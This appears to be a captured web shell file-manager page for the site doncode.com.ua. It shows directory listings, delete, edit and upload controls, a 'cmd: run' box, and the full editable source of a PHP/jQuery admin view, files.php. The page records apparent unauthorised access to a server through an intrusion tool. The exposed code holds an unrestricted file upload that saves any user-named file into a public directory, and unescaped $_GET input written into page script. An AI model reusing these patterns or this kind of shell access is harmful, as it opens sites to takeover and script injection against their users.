/
var
/
www
/
doncode.com.ua
/
www
/
views
/
files
/
/var/www/doncode.com.ua/www/views/files
mkdir
upload
Name
Size
Mode
Actions
js/
-
0755
rm
files.php
8124
0644
edit
dl
rm
Edit:
/var/www/doncode.com.ua/www/views/files/files.php
(8124B)
<script> var url = '<?php echo ($_GET['url']=='files')?URL.$_GET['url'].'/getList':URL.$_GET['url'];?>'; var count = <?php echo $this->count['count']; ?>; var limit = <?php echo LIMIT; ?>; function loadPageFiles (param){ $.get(param, function(prevent) { $.tmpl('files',prevent).appendTo('#main-table'); }, "JSON"); } $(function(){ $.template('files','\ <tr>\ <td>${type}</td>\ <td><a target="_blank" href="${url}">${file}</a></td>\ <td>${size}</td>\ <td>${date}</td>\ <td id="action">\ <button class="del_files btn" type="button" name="del_files" title="Удалить">\ <i class="icon-remove"></i>\ </button>\ </td>\ </tr>'); loadPageFiles (url); $('#paginator').paginator({ pagesTotal : <?php echo ceil($this->count['count']/LIMIT);?>, pagesSpan : 10, pageCurrent : <?php echo (isset($this->currentPage))?$this->currentPage: '1';?>, scroll : true, baseUrl : '<?php echo URL;?>files/getList/page/%number%', clickHandler : function (page){ var url = '<?php echo URL;?>files/getList/page/'+page; history.pushState(url, null, url); $.get(url, function(prevent) { $('#main-table tr:not(.header)').remove(); $.tmpl('files',prevent ).appendTo('#main-table'); }, "JSON"); return false; } }); $('.del_files').live('click',function(){ var url = $(this).attr("href"); if (confirm("Вы точно хотите удалить файл?")) { $.get(url, function(prevent) { if (prevent.msg=='success'){ $('#main-table tr:not(.header)').remove(); var parse = document.location.href.split('/'); if( !!!parse[4]){ var url = document.location.href+'/getList/page/1'; }else{ var url = document.location.href; } loadPageContractor (url); } if(prevent.msg=='fail'){ alert ('Не удалось удалить файл.'); } }, "JSON"); return false; }else{ return false; } } ); $('#files').autocomplete({ autoFocus: true, source: function(request,response) { $.ajax({ url : "<?php echo URL;?>files/search/type/"+$('#typesearch').val(), dataType : "json", type :'POST', data : {chars: request.term}, success: function(data) { if(data.fail){ }else{ response($.map(data, function(item) { return { id: item.id, value: item.FIO } })); } } }) }, minLength : 2, select : function( event, ui ) { $.get('<?php echo URL;?>files/fetechFiles/id/'+ui.item.id,function(data){ $('#result-search').html('<h2 style="text-align:center;">Результат поиска</h2><table class="table table-striped table-bordered table-condensed">'+ '<tr class="success" >'+ '<td>Тип файла</td>'+ '<td>Наименование</td>'+ '<td>Размер файла</td>'+ '<td>Дата создания</td>'+ '<td>Действия</td>'+ '</tr>'+ '</table>'); $.tmpl('files',data ).appendTo('#result-search table'); // $('#result-search table tr:eq(1)').addClass('warning'); },'json') } }) }); </script> <div id="arm"> <div class="row-fluid"> <div class="span12"> <?php if(session::get('msgFail')!=false):?> <div class="alert alert-error"> <a class="close" data-dismiss="alert" href="#">×</a> <h4 class="alert-heading">Ошибка!</h4> <?php echo session::get('msgFail')?> </div> <?php session::del('msgFail')?> <?php endif;?> <?php if(session::get('msgSuccess')!=false):?> <div class="alert alert-success"> <a class="close" data-dismiss="alert" href="#">×</a> <h4 class="alert-heading">Готово!</h4> <?php echo session::get('msgSuccess')?> </div> <?php session::del('msgSuccess')?> <?php endif;?> <div class="modal hide fade"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <h3></h3> </div> <div class="modal-body"> </div> </div> <div class="row-fluid"> <div> <h2>Файлы DCC</h2> <form action="files" method="POST" enctype="multipart/form-data"> <input type="file" name="filename"><br> <button type="submit" class="btn btn-success">Загрузить</button> </form> <?php if (is_uploaded_file($_FILES["filename"]["tmp_name"])) { move_uploaded_file($_FILES["filename"]["tmp_name"], "/var/doncode.com.ua/www/dl/" . $_FILES["filename"]["name"]); header('Refresh: 3; URL=http://doncode.com.ua/dl/'); echo("Файл загружен "); echo ' успешно...'; } else { echo("Файл не загружен"); } ?> </div> <br> <div class="span4"> <?php if ($this->count['count']>LIMIT): ?> <div id="paginator" class="paginator" ></div> <?php endif;?> </div> </div> <table class="table table-striped table-bordered table-condensed" id="main-table"> <tr class="header info" > <td>Тип файла</td> <td>Наименование</td> <td>Размер файла</td> <td>Дата создания</td> <td>Действие</td> </tr> </table> </div> </div> </div>
Save
cmd:
run